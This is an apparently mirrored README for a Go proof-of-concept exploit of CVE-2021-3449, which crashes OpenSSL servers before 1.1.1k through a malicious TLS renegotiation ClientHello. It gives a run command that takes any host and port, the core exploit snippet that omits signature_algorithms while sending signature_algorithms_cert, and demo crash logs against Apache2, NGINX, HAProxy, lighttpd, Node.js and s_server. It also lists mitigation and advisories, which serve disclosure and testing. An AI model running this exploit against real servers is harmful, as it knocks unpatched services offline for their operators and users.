POC详情: 7907019b00835bf62e9cbee25a4c5acd8ab2c6fd

来源
关联漏洞
标题: OpenSSL 代码问题漏洞 (CVE-2021-3449)
描述:OpenSSL是Openssl团队的一个开源的能够实现安全套接层(SSLv2/v3)和安全传输层(TLSv1)协议的通用加密库。该产品支持多种加密算法,包括对称密码、哈希算法、安全散列算法等。 OpenSSL 1.1.1h-1.1.1j 存在代码问题漏洞,该漏洞导致空指针解引用,导致崩溃和拒绝服务攻击。
描述
CVE-2021-3449 OpenSSL denial-of-service exploit 👨🏻‍💻
介绍
# CVE-2021-3449 OpenSSL <1.1.1k DoS exploit

Usage: `go run . -host hostname:port`

This program implements a proof-of-concept exploit of CVE-2021-3449
affecting OpenSSL servers pre-1.1.1k if TLSv1.2 secure renegotiation is accepted.

It connects to a TLSv1.2 server and immediately initiates an RFC 5746 "secure renegotiation".
The attack involves a maliciously-crafted `ClientHello` that causes the server to crash
by causing a NULL pointer dereference (Denial-of-Service).

## References

- [OpenSSL security advisory](https://www.openssl.org/news/secadv/20210325.txt)
- [cve.mitre.org](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3449)
- [Ubuntu security notice](https://ubuntu.com/security/notices/USN-4891-1) (USN-4891-1)
- [Debian security tracker](https://security-tracker.debian.org/tracker/CVE-2021-3449)
- [Red Hat CVE entry](https://access.redhat.com/security/cve/CVE-2021-3449)

> This issue was reported to OpenSSL on 17th March 2021 by Nokia. The fix was
> developed by Peter Kästle and Samuel Sapalski from Nokia.

## Mitigation

The only known fix is to update `libssl1.1`.

Even though some applications use hardened TLS configurations by default that disable TLS renegotiation,
they are still affected by the bug if running an old OpenSSL version.

## Exploit

`main.go` is a tiny script that connects to a TLS server, forces a renegotiation, and disconnects.

The exploit code was injected into a bundled version of the Go 1.14.15 `encoding/tls` package.
You can find it in `handshake_client.go:115`. The logic is self-explanatory.

```go
// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
    if c.handshakes == 0 {
        println("sending initial ClientHello")
        hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
    } else {
        // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
        // if the supported_signature_algorithms extension is omitted,
        // but supported_signature_algorithms_cert is present.
        println("sending malicious ClientHello")
        hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
    }
}
```

– [@terorie](https://github.com/terorie)

## Demo

The `demo/` directory holds configuration to patch various apps with a vulnerable version of OpenSSL.

Test setup:
- Download and compile the vulnerable OpenSSL 1.1.1j version locally
- Prepare an Ubuntu 20.04 target container and upload the OpenSSL libraries
- Install application onto target container
- Start server and execute attack

Requirements:
- OpenSSL (on the host)
- `build-essential` (Perl, GCC, Make)
- Docker

**Note: None of the listed web servers are vulnerable to CVE-2021-3449 with OpenSSL 1.1.1k or later.**

| Server                                       | Distro       | Version | Demo                 | Result        |
| -------------------------------------------- | ------------ | ------- | -------------------- | ------------- |
| [OpenSSL s_server](#openssl-simple-server)   | -            | 1.1.1j  | `make demo-openssl`  | Crash         |
| [Apache2](#apache2-httpd)                    | Ubuntu 18.04 | 2.4.29  | `make demo-apache2`  | Partial crash |
| [HAProxy](#haproxy)                          | Ubuntu 18.04 | 1.8.8   | `make demo-haproxy`  | Crash         |
| [HAProxy](#haproxy)                          | Ubuntu 20.04 | 2.0.13  | `make demo-haproxy`  | No effect     |
| [lighttpd](#lighttpd)                        | Ubuntu 18.04 | 1.4.55  | `make demo-lighttpd` | Crash         |
| [lighttpd](#lighttpd)                        | Ubuntu 20.04 | 1.4.55  | `make demo-lighttpd` | Crash         |
| [lighttpd](#lighttpd)                        | Ubuntu 21.04 | 1.4.59  | `make demo-lighttpd` | No effect with config option |
| [NGINX](#nginx)                              | Ubuntu 18.04 | 1.14.0  | `make demo-nginx`    | Partial crash |
| [NGINX](#nginx)                              | Ubuntu 20.04 | 1.18.0  | `make demo-nginx`    | No effect     |
| Node.js <=12                                 | Ubuntu 18.04 |         |                      | No effect     |
| [Node.js >12](#nodejs)                       | Ubuntu 18.04 | ?       | `make demo-nodejs`   | Crash         |
| [Node.js >12](#nodejs)                       | Ubuntu 18.04 | 15.14.0 | `make demo-nodejs`   | No effect     |

To clean up all demo resources, run `make clean`.

### OpenSSL simple server

The `openssl s_server` is a minimal TLS server implementation.

* `make demo-openssl`: Full run (port 4433)
* `make -C demo build-openssl`: Build target Docker image
* `make -C demo start-openssl`: Start target at port 4433
* `make -C demo stop-openssl`: Stop target

Result: Full server crash.

**Logs**

```
docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello

[[truncated]]

Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0  0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1  0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2  0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3  0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4  0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5  0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6  0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7  0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8  0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9  0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked
```

### Apache2 httpd

Apache2 `httpd` web server with default configuration is vulnerable.

* `make demo-apache`: Full run (port 443)
* `make -C demo build-apache`: Build target Docker image
* `make -C demo start-apache`: Start target at port 443
* `make -C demo stop-apache`: Stop target

Thank you to [@binarytrails](https://github.com/binarytrails) for the contribution.

Result: Partial disruption, main process still alive but worker process crashed.

**Logs**

```
docker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2
0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8
docker logs -f cve-2021-3449-apache2 &

[[truncated]]

sending initial ClientHello
connected
sending malicious ClientHello
[Sat Mar 27 02:54:38.153327 2021] [ssl:info] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH01964: Connection to child 64 established (server localhost:443)
[Sat Mar 27 02:54:38.153619 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
[Sat Mar 27 02:54:38.155697 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2233): [client 127.0.0.1:46846] AH02041: Protocol: TLSv1.2, Cipher: ECDHE-RSA-CHACHA20-POLY1305 (256/256 bits)
[Sat Mar 27 02:54:38.155781 2021] [ssl:error] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH02042: rejecting client initiated renegotiation
[Sat Mar 27 02:54:38.155837 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
malicious handshake failed, exploit might have worked: EOF
[Sat Mar 27 02:54:39.183129 2021] [core:notice] [pid 19:tid 140433267538880] AH00051: child pid 21 exit signal Segmentation fault (11), possible coredump in /etc/apache2
```

### HAProxy

HAProxy versions 2.0.13 and up are not affected.

Versions before at least 1.8.8 are vulnerable with "intermediate" TLS configuration is vulnerable.

* `make demo-haproxy`: Full run (port 4433)
* `make -C demo build-haproxy`: Build target Docker image
* `make -C demo start-haproxy`: Start target at port 4433
* `make -C demo stop-haproxy`: Stop target

Tests run using master-worker mode (`-W` flag, default on Debian).
Surprisingly, the master process exits if a worker process dies.

Result: Full server crash.

**Logs**

```
docker run -d -it --name cve-2021-3449-haproxy --network host local/cve-2021-3449/haproxy
1786bd2fc0ed8d8ffb0388fb223a61c9cabdd095cb9908e35ad4c77e1677cda8
docker logs -f cve-2021-3449-haproxy &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
[ALERT] 086/075305 (1) : Current worker 7 exited with code 139
[ALERT] 086/075305 (1) : exit-on-failure: killing every workers with SIGTERM
[WARNING] 086/075305 (1) : All workers exited. Exiting... (139)
```

### lighttpd

lighttpd versions 1.4.56 and up are not vulnerable if `ssl.disable-client-renegotiation = "enable"` is configured in lighttpd.conf.

lighttpd web server <= 1.4.55 with "intermediate" TLS configuration is vulnerable.

* `make demo-lighttpd`: Full run (port 4433)
* `make -C demo build-lighttpd`: Build target Docker image
* `make -C demo start-lighttpd`: Start target at port 4433
* `make -C demo stop-lighttpd`: Stop target

Result: Full server crash.

**Logs**

```
docker run -d -it --name cve-2021-3449-lighttpd --network host local/cve-2021-3449/lighttpd
84970c88abb9251e8b92a2fca777c6c23e5e8693dff0ae62c5a363692a859232
docker logs -f cve-2021-3449-lighttpd &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
/bin/bash: line 1:     7 Segmentation fault      lighttpd -D -f /etc/lighttpd/lighttpd.conf
```

### NGINX

NGINX versions 1.18.0 and up are not vulnerable.

NGINX 1.14.0 web server with common configuration is vulnerable. (https://nginxconfig.io)

NGINX versions >1.15.4 with OpenSSL >=1.1.1 are assumed to be fine,
since they include the `SSL_OP_NO_RENEGOTIATION` patch:
http://mailman.nginx.org/pipermail/nginx-devel/2018-September/011461.html

* `make demo-nginx`: Full run (port 4433)
* `make -C demo build-nginx`: Build target Docker image
* `make -C demo start-nginx`: Start target at port 4433
* `make -C demo stop-nginx`: Stop target

Result: Partial disruption, main process still alive but worker process crashed.

**Logs**

```
docker run -d -it --name cve-2021-3449-nginx --network host local/cve-2021-3449/nginx
ccba15530df5ba3d74a584a8c62d4e88deb33203fc5dee6c3c3387b132861f70
docker logs -f cve-2021-3449-nginx &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
2021/03/27 03:24:40 [alert] 7#7: worker process 8 exited on signal 11 (core dumped)
```

### Node.js

Node.js `https.createServer()` is vulnerable.

* `make demo-nodejs`: Full run (port 4433)
* `make -C demo build-nodejs`: Build target Docker image
* `make -C demo start-nodejs`: Start target at port 4433
* `make -C demo stop-nodejs`: Stop target

Result: Full server crash.

**Logs**

```
server started
sending initial ClientHello
connected
sending malicious ClientHello

Thread 1 "node" received signal SIGSEGV, Segmentation fault.
0x000000000160714e in tls1_process_sigalgs ()
#0  0x000000000160714e in tls1_process_sigalgs ()
#1  0x00000000016074b3 in tls1_set_server_sigalgs ()
#2  0x00000000016007dd in tls_post_process_client_hello ()
#3  0x00000000015ef692 in state_machine.part ()
#4  0x00000000015c1a6d in ssl3_read_bytes ()
#5  0x00000000015ca2c7 in ssl3_read ()
#6  0x00000000015d6491 in SSL_read ()
#7  0x0000000000c35332 in node::crypto::TLSWrap::ClearOut() ()
#8  0x0000000000c35f10 in node::crypto::TLSWrap::OnStreamRead(long, uv_buf_t const&) ()
#9  0x0000000000b6cad8 in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) ()
#10 0x00000000014842d7 in uv__read (stream=stream@entry=0x5df10f0) at ../deps/uv/src/unix/stream.c:1239
#11 0x0000000001484c90 in uv__stream_io (loop=<optimized out>, w=0x5df1178, events=1) at ../deps/uv/src/unix/stream.c:1306
#12 0x000000000148b775 in uv.io_poll () at ../deps/uv/src/unix/linux-core.c:462
#13 0x0000000001479318 in uv_run (loop=0x45a1020 <default_loop_struct>, mode=UV_RUN_DEFAULT) at ../deps/uv/src/unix/core.c:385
#14 0x00000000009d2025 in node::SpinEventLoop(node::Environment*) ()
#15 0x0000000000ac8b90 in node::NodeMainInstance::Run(node::EnvSerializeInfo const*) ()
#16 0x0000000000a4f73a in node::Start(int, char**) ()
#17 0x00007efe747dcbf7 in __libc_start_main (main=0x9cbbd0 <main>, argc=2, argv=0x7fff42035238, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fff42035228) at ../csu/libc-start.c:310
#18 0x00000000009ce26c in _start ()
malicious handshake failed, exploit might have worked: EOF
```

## Copyright

This repository bundles the `encoding/tls` package of the Go programming language.

```
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
```
文件快照

[4.0K] /data/pocs/7907019b00835bf62e9cbee25a4c5acd8ab2c6fd ├── [4.0K] demo │   ├── [ 601] apache-default-ssl.conf │   ├── [ 324] apache.Dockerfile │   ├── [ 398] base.Dockerfile │   ├── [1.1K] haproxy.cfg │   ├── [ 225] haproxy.Dockerfile │   ├── [1018] lighttpd-10-ssl.conf │   ├── [ 272] lighttpd.Dockerfile │   ├── [2.4K] Makefile │   ├── [1.4K] nginx.conf │   ├── [ 239] nginx.Dockerfile │   ├── [ 296] nodejs.Dockerfile │   ├── [ 306] nodejs.js │   ├── [ 97] openssl-1.1.1j.tar.gz.sha256sum │   └── [ 139] openssl.Dockerfile ├── [ 94] go.mod ├── [ 824] go.sum ├── [ 906] main.go ├── [1.0K] Makefile ├── [ 14K] README.md └── [4.0K] tls ├── [3.0K] alert.go ├── [8.7K] auth.go ├── [ 14K] cipher_suites.go ├── [ 32K] common.go ├── [ 38K] conn.go ├── [4.5K] generate_cert.go ├── [ 25K] handshake_client.go ├── [ 43K] handshake_messages.go ├── [ 11K] key_agreement.go ├── [3.1K] key_schedule.go ├── [8.3K] prf.go ├── [2.2K] ticket.go └── [3.2K] tls.go 2 directories, 32 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。